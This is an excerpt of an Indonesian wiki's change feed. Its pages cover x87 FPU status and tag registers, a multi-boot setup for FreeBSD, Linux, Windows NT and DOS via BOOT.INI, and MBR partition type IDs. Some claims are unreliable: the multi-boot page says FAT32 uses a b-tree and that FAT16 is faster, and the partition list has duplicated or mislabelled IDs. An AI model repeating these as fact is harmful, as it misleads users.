&amp;lt;pre&amp;gt;&lt;br /&gt;
  B - Busy Flag&lt;br /&gt;
  C0 s.d. C3 - Condition Code&lt;br /&gt;
   korespondensi dengan Integer Flags&lt;br /&gt;
    C0 ~ Carry Flag (CF)&lt;br /&gt;
    C1 ~ tidak ada kesetaraan&lt;br /&gt;
    C2 ~ Parity Flag (PF)&lt;br /&gt;
    C3 ~ Zero Flag (ZF)&lt;br /&gt;
&lt;br /&gt;
  TOP - nilai top-of-stack saat ini&lt;br /&gt;
  E - Error Summary&lt;br /&gt;
  S - Stack Fault&lt;br /&gt;
&lt;br /&gt;
  bit 0 s.d. 5 adalah Exception Flags, berkorespondensi dengan register Kontrol:&lt;br /&gt;
  P : Precision&lt;br /&gt;
  U : Underflow&lt;br /&gt;
  O : Overflow&lt;br /&gt;
  Z : Zero Divide&lt;br /&gt;
  D : Denormalized Operand&lt;br /&gt;
  I : Invalid Operation&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Interpretasi Condition Code&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- ---------------------------------------- --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=1&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td height=24&amp;gt; Instruksi&amp;lt;td&amp;gt;C0&amp;lt;td&amp;gt;C3&amp;lt;td&amp;gt;C2&amp;lt;td&amp;gt;C1&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;FTST, FCOM/P/PP, FICOM/P, FUCOMPP&lt;br /&gt;
  &amp;lt;td colspan=2&amp;gt; hasil perbandingan&lt;br /&gt;
  &amp;lt;td&amp;gt;operand tak terbandingkan&lt;br /&gt;
  &amp;lt;td&amp;gt;0 atau error Over/Underflow&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;FXAM&lt;br /&gt;
  &amp;lt;td colspan=3&amp;gt; kelas operand&lt;br /&gt;
  &amp;lt;td&amp;gt;sign-bit atau error O/U&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;FPREM,FPREM1&lt;br /&gt;
&amp;lt;td&amp;gt;Quad-2&lt;br /&gt;
&amp;lt;td&amp;gt;Quad-1&lt;br /&gt;
&amp;lt;td&amp;gt;0: tuntas&amp;lt;br&amp;gt; 1: tidak tuntas&lt;br /&gt;
&amp;lt;td&amp;gt;Quad-0 atau error O/U&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;FIST, FBSTP, FRINDINT, FST/P,&amp;lt;br&amp;gt;&lt;br /&gt;
      FADD, FMUL, FDIV/R, FSUB/R,&amp;lt;br&amp;gt;&lt;br /&gt;
      FSCALE, FSQRT, FPATAN,&amp;lt;br&amp;gt;&lt;br /&gt;
      F2XM1, FYL2X, FYL2XP1&amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;td colspan=3&amp;gt; nilai tidak tentu&lt;br /&gt;
  &amp;lt;td&amp;gt;pembulatan keatas atau error O/U&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;FPTAN, FSIN, FCOS, FSINCOS&lt;br /&gt;
  &amp;lt;td colspan=2&amp;gt; nilai tidak tentu&lt;br /&gt;
  &amp;lt;td&amp;gt;0: tuntas&amp;lt;br&amp;gt; 1: tidak tuntas&lt;br /&gt;
  &amp;lt;td&amp;gt;pembulatan keatas atau error O/U,&amp;lt;br&amp;gt;&lt;br /&gt;
      jika C2=1 maka nilainya tidak tentu&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;FCHS, FABS, FXCH, FINCSTP, FDECSTP,&amp;lt;br&amp;gt;&lt;br /&gt;
      muat Konstanta tertentu, FXTRACT,&amp;lt;br&amp;gt;&lt;br /&gt;
      FLD, FILD, FBLD, FSTP extended&lt;br /&gt;
  &amp;lt;td colspan=3&amp;gt; nilai tidak tentu&lt;br /&gt;
  &amp;lt;td&amp;gt;0 atau error O/U&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;FLDENV, FRSTOR&lt;br /&gt;
  &amp;lt;td colspan=4&amp;gt; sesuai dengan nilai yang tersimpan/dimuat&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;FLDCW, FSTENV, FSTCW, FSTSW, FCLEX&lt;br /&gt;
  &amp;lt;td colspan=4&amp;gt; nilai tidak tentu&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;FINIT,FSAVE&lt;br /&gt;
  &amp;lt;td colspan=4&amp;gt; 0&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt; &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;font size=-1&amp;gt;Tabel B.2.3. Interpretasi kode kontrol hasil instruksi floating point&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+1&amp;gt;B.2.4. Tag&amp;lt;/font&amp;gt;&amp;lt;!-- h5 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tag word, berukuran 16-bit, tidak berupa register fisik. untuk membacanya harus dimuat dulu ke memori dengan instruksi FLDENV atau FSAVE/FNSAVE kedalam memori:&lt;br /&gt;
&lt;br /&gt;
Tag word berisi status seluruh isi FPU stack (8 unit register). TAG-0 berisi status st(0), TAG-1 berisi status st(1), dan seterusnya sampai TAG-7.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- ---------------------------------------- --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=-1&amp;gt;FPU Tag&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;table border=1&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td height=24 width=24&amp;gt; F&amp;lt;td width=24&amp;gt; E&amp;lt;td width=24&amp;gt; D&amp;lt;td width=24&amp;gt; C&lt;br /&gt;
  &amp;lt;td width=24&amp;gt; B&amp;lt;td width=24&amp;gt; A&amp;lt;td width=24&amp;gt; 9&amp;lt;td width=24&amp;gt; 8&lt;br /&gt;
  &amp;lt;td width=24&amp;gt; 7&amp;lt;td width=24&amp;gt; 6&amp;lt;td width=24&amp;gt; 5&amp;lt;td width=24&amp;gt; 4&lt;br /&gt;
  &amp;lt;td width=24&amp;gt; 3&amp;lt;td width=24&amp;gt; 2&amp;lt;td width=24&amp;gt; 1&amp;lt;td width=24&amp;gt; 0&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td colspan=2&amp;gt; tag 7&amp;lt;td colspan=2&amp;gt; tag 6&lt;br /&gt;
  &amp;lt;td colspan=2&amp;gt; tag 5&amp;lt;td colspan=2&amp;gt; tag 4&lt;br /&gt;
  &amp;lt;td colspan=2&amp;gt; tag 3&amp;lt;td colspan=2&amp;gt; tag 2&lt;br /&gt;
  &amp;lt;td colspan=2&amp;gt; tag 1&amp;lt;td colspan=2&amp;gt; tag 0&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Nilai Tag:&lt;br /&gt;
  00 = Valid&lt;br /&gt;
  01 = 0 (nol)&lt;br /&gt;
  10 = Kondisi khusus: Invalid (NaN atau unsupported), tak-hingga atau DENORMAL/SUBNORMAL&lt;br /&gt;
  11 = Kosong&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;----------------------------------------------------&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+3&amp;gt;C. Instruksi Numerik&amp;lt;/font&amp;gt;&amp;lt;!-- h3 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font color=blink&amp;gt;[TODO]&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+2&amp;gt;C.1. Transfer Data: Load/Store/Exchange Data&amp;lt;/font&amp;gt;&amp;lt;!-- h4 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font color=blink&amp;gt;[TODO]&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+2&amp;gt;C.2. Operasi Aritmetik: Penjumlahan, Pengurangan, Perkalian, Pembagian, Akar Kuadrat, Skala, Ekstrak, Pembulatan, Bilangan Mutlak, Pecahan, dan Negasi&amp;lt;/font&amp;gt;&amp;lt;!-- h4 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font color=blink&amp;gt;[TODO]&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+2&amp;gt;C.3. Operasi Transedental: Sinus, Cosinus, Sin/Cos, Tangen dan Arctangen, 2^x-1, Logaritma basis 2: y Log 2^X dan y Log 2^(X+1)&amp;lt;/font&amp;gt;&amp;lt;!-- h4 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font color=blink&amp;gt;[TODO]&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+2&amp;gt;C.4. Konstanta: 0, 1, pi, 2 Log 10, 10 Log2, 2 Log e, e Log 2&amp;lt;/font&amp;gt;&amp;lt;!-- h4 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font color=blink&amp;gt;[TODO]&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+2&amp;gt;C.5. Kontrol: Load/Store Control/Status/Environment, Save/Restore/Clear Exception dan Intialisasi&amp;lt;/font&amp;gt;&amp;lt;!-- h4 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font color=blink&amp;gt;[TODO]&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;----------------------------------------------------&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+3&amp;gt;D. Contoh Program&amp;lt;/font&amp;gt;&amp;lt;!-- h3 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font color=blink&amp;gt;[CODE-REF]&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Delphi interface:&lt;br /&gt;
  Ordinals.pas&lt;br /&gt;
  BigIntX.pas&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;----------------------------------------------------&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+3&amp;gt;E. Ringkasan&amp;lt;/font&amp;gt;&amp;lt;!-- h3 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font color=blink&amp;gt;[TODO]&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--pagebreak--&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;----------------------------------------------------&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;span id=rujukan&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;font size=+3&amp;gt;F. Rujukan&amp;lt;/font&amp;gt;&amp;lt;!-- h3 --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Rujukan pilihan:&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;Standard for Floating-Point Arithmetic P754&amp;quot;, Draft 1.9, IEEE Computer Society, 2006.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;IEEE Standard 754 for Binary Floating-Point Arithmetic&amp;quot;, William Kahan, on Lecture Notes on the Status of, 1997.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;IEEE Standard 754 Floating Point Numbers&amp;quot;, Steve Hollasch, 2001.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;Intel Itanium Architecure Software Developer&#039;s Manual&amp;quot;, Vol.1: Application Architecture, 1:75-98, Intel Corp., 2002.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;Intel Itanium Architecure Software Developer&#039;s Manual&amp;quot;, Vol.3: Instruction Set Reference, 3:821-832, Intel Corp., 2002.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;Pentium Processor Family Software Developer&#039;s Manual&amp;quot;, Vol.3: Architecture and Programming Manual, 6:1-42,7:1-18,25:84-161, Intel Corp., 1995.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;What Every Computer Scientist Should Know About Floating Point Arithmetic&amp;quot;, 176-178, David Goldberg, Assoc. for Computing Machinery, Inc., 1991.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bacaan tambahan:&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;(Complete) Tutorial to Understand IEEE Floating Point Errors&amp;quot;, Microsoft Knowledge Base Q42980, Microsoft Corp., 2005.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;Differences Among IEEE 754 Implementations&amp;quot;, Sun Microsystems Inc., 1997.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;Floating Point Processor.&amp;quot; Microsoft® Encarta® 2005 [DVD]. Redmond, WA: Microsoft Corp., 2004.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;General Decimal Arithmetic Specification&amp;quot;, Mike Cowlishaw, IBM UK Lab., 2003.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;How Futile are Mindless Assesments of Roundoff in Floating-Point Computation&amp;quot;, William Kahan, 2006.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;IEEE Floating point Standard&amp;quot;, Wikipedia, Internet, 2005.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;Let&#039;s Get to the (Floating) Point&amp;quot;, 20-22, Chris Hecker, Game Developer, 1997.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;Representation of IEEE 754 Floating Point Format&amp;quot;, Motorola Inc., 2000.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;The Art Of Assembly Language&amp;quot;, 771-778, Randall Hyde, 2002.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;The Art of Computer Programming&amp;quot;, Donald E Knuth, 2nd Edition, Vol.2: Seminumerical Algorithms, 198-210, 213-227, Addison-Wesley, 1981.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Web Ref:&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;http://www.agner.org&lt;br /&gt;
&amp;lt;li&amp;gt;http://www.google.com/search?+floating+point&lt;br /&gt;
&amp;lt;li&amp;gt;http://www.intel.com&lt;br /&gt;
&amp;lt;li&amp;gt;http://www.sandpile.org&lt;br /&gt;
&amp;lt;li&amp;gt;http://www.tomshardware.com&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;/div&gt;</summary>
		<author><name>Aa</name></author>
	</entry>
	<entry>
		<id>https://lms.onnocenter.or.id/wiki/index.php?title=Multi_OS&amp;diff=4684</id>
		<title>Multi OS</title>
		<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Multi_OS&amp;diff=4684"/>
		<updated>2008-07-31T22:20:00Z</updated>

		<summary type="html">&lt;p&gt;Aa: New page: Membangun PC yang memiliki beberapa pilihan Sistem Operasi  #FreeBSD 4+ #Linux Kernel 2.2+ #Windows NT 4.0 #Windows 95/98 #Windows 3.1 / DOS 6.22  #BEOS* (trial)  Tools: *Norton Disk Edito...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Membangun PC yang memiliki beberapa pilihan Sistem Operasi&lt;br /&gt;
&lt;br /&gt;
#FreeBSD 4+&lt;br /&gt;
#Linux Kernel 2.2+&lt;br /&gt;
#Windows NT 4.0&lt;br /&gt;
#Windows 95/98&lt;br /&gt;
#Windows 3.1 / DOS 6.22 &lt;br /&gt;
#BEOS* (trial)&lt;br /&gt;
&lt;br /&gt;
Tools:&lt;br /&gt;
*Norton Disk Editor 6+&lt;br /&gt;
*Optional: Partition Magic 4+&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sebetulnya Windows NT4.0 loader adalah feature yang paling convenient untuk dijadikan System Manager, namun NT memiliki beberapa kekurangan serius yaitu tidak bisa membaca FAT32, lebih buruk lagi bahkan tidak bisa membaca LBA 1), selain itu juga, kapasitas hardisk diatas silinder 1023 tidak bisa diakses oleh NT dengan sistem CHS-nya, sehingga instalasi NT 4.0 bisa dipastikan akan menemui kegagalan inisialisasi pada harddisk yang berukuran lebih besar dari 8GB (meski hal ini bisa diakali dengan membuat hardisk &#039;seolah-olah&#039; berukuran kurang dari 8GB, pada saat instalasi). Selanjutnya agar dapat mengakses LBA, (BIOS INT13 extension) pada NT4.0 perlu ditambahkan Service Pack 3, setelah NT4.0 berhasil diinstal.&lt;br /&gt;
&lt;br /&gt;
* Kekurangn Windows NT 4.0 ini telah ditutup dalam Windows XP&lt;br /&gt;
&lt;br /&gt;
Limit 8GB ini berlaku juga untuk bootable partition, baik NT4.0 atau Linux tidak mampu melakukan boot pada partisi diatas silinder 1023.&lt;br /&gt;
&lt;br /&gt;
Berikut ini langkah-langkah yang perlu dilakukan untuk menggabung beberapa OS dalam satu komputer dengan dua harddisk.&lt;br /&gt;
&lt;br /&gt;
Layout hard disk awal agar bisa dikenali oleh NT4.0:&lt;br /&gt;
&lt;br /&gt;
# Hard disk 1 dipartisi sedemikian rupa sehingga terdapat primary partition berurutan dengan extended partition, keduanya berjumlah lebih kecil dari 8GB dan dibawah lingkup batasan 1024 silinder. Dalam extended partition dicadangkan partisi-partisi yang nantinya akan digunakan oleh NT4.0 dan Linux. Sisa kapasitas harddisk saat ini diabaikan dulu.&lt;br /&gt;
#Hard disk 2 dipartisi sedemikian rupa sehingga antara primary partition dan extended-nya terdapat 1 (maksimal 2) partisi hardisk yang terpisah yang nantinya akan digunakan oleh FreeBSD. Selanjutnya seperti ketentuan sebelumnya ketiga partisi ini harus berada dibawah 8GB/silinder 1024, sisa kapasitas disk diabakan dulu.&lt;br /&gt;
Agar lebih save semua partisi (setidaknya C: dan D:) sementara diformat dengan FAT16.&lt;br /&gt;
Contoh layout setelah semua OS terpasang (lihat gambar).&lt;br /&gt;
Catatan: &lt;br /&gt;
#Untuk sistem operasi Windows 95, partisi yang paling optimal adalah dengan menggunakan FAT16 509.8MB (8KB cluster) atau maksimal 1019.7 MB (16KB cluster), angka-angka ini bisa diperoleh dengan mudah tanpa harus menghitung manual, dengan menggunakan PowerQuest Partition Magic, ambil kapasitas terbesar untuk cluster FAT16 yang berukuran 8KB atau 16KB.&lt;br /&gt;
#Sebaiknya anda memang menggunakan drive C hanya untuk Sistem Operasi (Windows) saja, dengan mengalokasikan 509.8M atau 1019.7M dengan FAT16. Pindahkan reserved folder &amp;quot;Program Files&amp;quot; dan &amp;quot;Common Files&amp;quot; (sebaiknya juga &amp;quot;My Documents&amp;quot;) ke partisi lainnya yang berukuran jauh lebih besar dengan sistem file FAT32.&lt;br /&gt;
#Perbandingan efisiensi antara FAT16 dan FAT32 Untuk ukuran hardisk diatas 128MB, sistem dengan FAT32 lebih efisien dibanding FAT16 karena hanya mengalokasikan 2KB setiap clusternya, sementara sistem dengan FAT16 mengalokasikan 4KB s.d. 64KB per-cluster (tergantung ukuran).&lt;br /&gt;
#Perbandingan kecepatan akses antara FAT16 dan FAT32 Dalam mengakses suatu item tertentu (file atau direktori), FAT16 menggunakan pemetaan sederhana (single linked list), sementara FAT32 menggunakan b-tree (seperti pada HPFS), jadi dalam hal kecepatan akses, perbandingan/analogi FAT16 dengan FAT32 adalah seperti perhitungan perkalian dengan perhitungan exponensial/logaritma, kesimpulannya: akses disk FAT16 (relatif) lebih cepat daripada FAT32.&lt;br /&gt;
Lalu bagaimana dengan beberapa referensi teknis (Microsoft) yang menyebutkan bahwa akses FAT32 lebih cepat dibandingkan FAT16?&lt;br /&gt;
jawabannya sederhana: mereka bohong.&lt;br /&gt;
&lt;br /&gt;
Instalasi &lt;br /&gt;
&lt;br /&gt;
*Instal Windows 95/98/ME pada hard disk pertama sebagai bootable drive C:, format dan tambahkan system (FORMAT /S atau SYS D:) untuk drive D:. Aktifkan kedua disk tersebut sebagai bootable partition.&lt;br /&gt;
*Install Windows NT4.0 pada partisi yang telah disiapkan (hard disk 1 partisi extended). Jika anda memformat sebagian hard disk dengan FAT32, pada saat ini, drive tersebut masih belum bisa diakses. &lt;br /&gt;
Install NT Service Pack 3+ untuk mengenali drive FAT32 tersebut.&lt;br /&gt;
Instalasi NT4.0 akan membuat file esensial BOOTSEC.DOS dan BOOT.INI.&lt;br /&gt;
*Boot ke DOS Prompt.&lt;br /&gt;
Simpan (back-up) MBR dan boot sector pada sebuah file (gunakan Norton Disk Editor). Back-up juga MSDOS.SYS. &lt;br /&gt;
Sebaiknya boot record pada semua partisi juga di back-up.&lt;br /&gt;
*Pada tahap ini layout disk (kapasitas disk diatas silinder 1023 dan File System yang digunakan FAT16/FAT32), bisa ditetapkan secara permanen agar memudahkan instalasi UNIX pada tahap selanjutnya.&lt;br /&gt;
*Ganti sistem drive C: dengan Windows/DOS dari drive D:, dengan perintah SYS D: C:&lt;br /&gt;
*Install Linux. Jangan menggunakan automatic instalation yang secara otomatis menempatkan partisi Linux pada partisi akhir.&lt;br /&gt;
Konfigurasikan LILO agar bisa melakukan booting juga pada drive C: dan D: (/dev/hda1 dan dev/hdb1). Beri nama misalnya: win, dos (untuk hda1 dan hdb1), serta linux (ext2fs).&lt;br /&gt;
&lt;br /&gt;
Ambil boot record dari linux (sector pertama dari partisi linux) dengan DiskEdit, save sebagai file, misalnya C:\SUSE7.BIN (ingat ukuran file harus tepat 1 sector atau 512 byte).&lt;br /&gt;
&lt;br /&gt;
* Boot ke DOS Prompt dari drive D: atau A:&lt;br /&gt;
Backup MBR disk1 dan disk2.&lt;br /&gt;
* Install FreeBSD. Sewaktu setup *jangan* memilih default untuk menimpa MBR (master boot record) lebih baik tempatkan boot FreeBSD di partisinya sendiri (ingat dengan pilihan ini FreeBSD masih belum bisa diaktifkan). Ambil dan backup boot record FreeBSD dari partisinya dengan DiskEdit, save sebagai file (C:\FREEBSD4.BIN).&lt;br /&gt;
* Jika karena suatu alasan tertentu, misalnya untuk menjalankan WIndows 3.11, kita harus melakukan booting ke DOS kernel (5.00 s.d. 6.22, bukan DOS 7 under windows), yang harus disiapkan adalah: menempatkan IO.SYS tepat di cluster pertama partisi DOS yang bersangkutan, cara yang termudah adalah dengan menggunakan SYS.COM (tentunya setelah boot-up dari DOS pula). Jalankan SYS A: D: untuk menjadikan drive D sebagai partisi dengan kernel DOS 5-6.22.&lt;br /&gt;
Kemudian boot recordnya juga kita save sebagai file (C:\MSDOS622.BIN).&lt;br /&gt;
Selanjutnya Windows 3.11 bisa diinstall setelah boot-up dari partisi DOS tersebut.&lt;br /&gt;
*Terakhir editlah BOOT.INI sehingga memuat boot record partisi lainnya, seperti contoh dibawah ini:&lt;br /&gt;
&lt;br /&gt;
 BOOT.INI&lt;br /&gt;
 --------&lt;br /&gt;
 [boot loader]&lt;br /&gt;
 timeout=1&lt;br /&gt;
 default=multi(0)disk(0)rdisk(0)partition(3)\WINNT&lt;br /&gt;
 [Operating Systems]&lt;br /&gt;
 multi(0)disk(0)rdisk(0)partition(3)\WINNT=&amp;quot;Windows NT Server Version 4.00&amp;quot;&lt;br /&gt;
 multi(0)disk(0)rdisk(0)partition(3)\WINNT=&amp;quot;Windows NT Server Version 4.00 [VGA mode]&amp;quot; /basevideo /sos&lt;br /&gt;
 C:\=&amp;quot;Microsoft Windows&amp;quot;&lt;br /&gt;
 C:\SUSE7.BIN=&amp;quot;Submenu *recursive* Linux LILO&amp;quot;&lt;br /&gt;
 C:\FREEBSD4.BIN=&amp;quot;FreeBSD 4.30&amp;quot;&lt;br /&gt;
 C:\MSDOS622.BIN=&amp;quot;MS-DOS 6.22&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
aa, aa.delphi@yahoo.com&lt;br /&gt;
multipart Dec-2000&lt;br /&gt;
&lt;br /&gt;
todo:&lt;/div&gt;</summary>
		<author><name>Aa</name></author>
	</entry>
	<entry>
		<id>https://lms.onnocenter.or.id/wiki/index.php?title=Partisi_Hard_Disk&amp;diff=4683</id>
		<title>Partisi Hard Disk</title>
		<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Partisi_Hard_Disk&amp;diff=4683"/>
		<updated>2008-07-31T21:52:09Z</updated>

		<summary type="html">&lt;p&gt;Aa: New page:  Partisi Hard Disk    Pada dasarnya MBR (Master Boot Record) hanya menampung 4 entri  (1 entri=16 byte) untuk partisi, artinya maksimal memang cuma  bisa menandai 4 partisi primer.  Dalam ...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; Partisi Hard Disk&lt;br /&gt;
 &lt;br /&gt;
 Pada dasarnya MBR (Master Boot Record) hanya menampung 4 entri&lt;br /&gt;
 (1 entri=16 byte) untuk partisi, artinya maksimal memang cuma&lt;br /&gt;
 bisa menandai 4 partisi primer.&lt;br /&gt;
 Dalam entri ini secara explisit ditetapkan &amp;quot;apa&amp;quot; jenis partisinya.&lt;br /&gt;
 &lt;br /&gt;
 Dari Norton Utility (dan sumber lainnya) beberapa Partition ID adalah:&lt;br /&gt;
 &lt;br /&gt;
 01 = DOS FAT12, 01=DOS FAT12 (Hidden)&lt;br /&gt;
 02 = Xenix&lt;br /&gt;
 04 = DOS FAT16, 14=DOS FAT16 (Hidden)&lt;br /&gt;
 05 = Extended, 15=Extended (Hidden)&lt;br /&gt;
 06 = BIGDOS (&amp;gt;32M), 16=BIGDOS (Hidden)&lt;br /&gt;
 07 = HPFS/NTFS, 17=HPFS/NTFS (Hidden)&lt;br /&gt;
 08 = Split&lt;br /&gt;
 A0 = Phoenix Power Mgt.&lt;br /&gt;
 0B = FAT32, 1B=FAT32 (Hidden)&lt;br /&gt;
 0C = FAT32 (LBA), 1C=FAT32-LBA (Hidden)&lt;br /&gt;
 0E = BIGDOS (LBA), 1E=BIGDOS-LBA (Hidden)&lt;br /&gt;
 0F = Extended (LBA), 1F=Extended-LBA (Hidden)&lt;br /&gt;
 40 = VENIX, 50=DM, 52,DB=CPM, 56=GB, 63=386/Unix&lt;br /&gt;
 64 = Net286, 64=Net386&lt;br /&gt;
 75 = PCIX&lt;br /&gt;
 0A = OS2&lt;br /&gt;
 61 = Speed&lt;br /&gt;
 63 = UNIX SysV/386/386ix&lt;br /&gt;
 65 = Novell Netware 3.11&lt;br /&gt;
 77 = QNX 4.x, 78=QNY 4.x, 79=QNZ 4.x&lt;br /&gt;
 80 = MINIX, 81=Linux, 82=Linux-Swap, Solaris-x86, 83=Linux EXT2FS, 85=Linux Extended&lt;br /&gt;
 93 = Amoeba&lt;br /&gt;
 A5 = FreeBSD, BSD386, 9F=BSDi&lt;br /&gt;
 EB = BeOS&lt;br /&gt;
 F0 = BOOT MANAGER, F2=DOSSEC&lt;br /&gt;
 FF = Xenix, BadBlock Table&lt;br /&gt;
 &lt;br /&gt;
 Bisa dilihat diatas bahwa beberapa ID &amp;quot;tabrakan&amp;quot;.&lt;br /&gt;
 &lt;br /&gt;
 Yang disebut Extended Partition (EP) itu, ID=05 atau 0F,&lt;br /&gt;
 di MBR sendiri, ditandai/diperlakukan sama saja dengan&lt;br /&gt;
 partisi primer lainnya, cuma sistem operasi yang&lt;br /&gt;
 memperlakukannya berbeda. Blok yang dialokasikan oleh EP ini&lt;br /&gt;
 selanjutnya bisa dibagi-bagi menjadi beberapa (virtual) drive,&lt;br /&gt;
 jadi tujuan adanya EP ini (jelas) adalah untuk menghindari&lt;br /&gt;
 limit batasan maks. 4 partisi di MBR.&lt;br /&gt;
 &lt;br /&gt;
 Dari ke-4 entri tersebut hanya 1 yang bisa diset-Aktif&lt;br /&gt;
 (or either weird things might happen). Partisi serta Sistem&lt;br /&gt;
 Operasi ini-lah yang akan jadi default untuk kita gunakan.&lt;br /&gt;
 Hati2, lupa mengeset-Aktif salah satu partisi merupakan&lt;br /&gt;
 kesalahan yang cukup sering terjadi.&lt;br /&gt;
 &lt;br /&gt;
 Pada umumnya (common usage) tipikal pengalokasian Hard-Disk&lt;br /&gt;
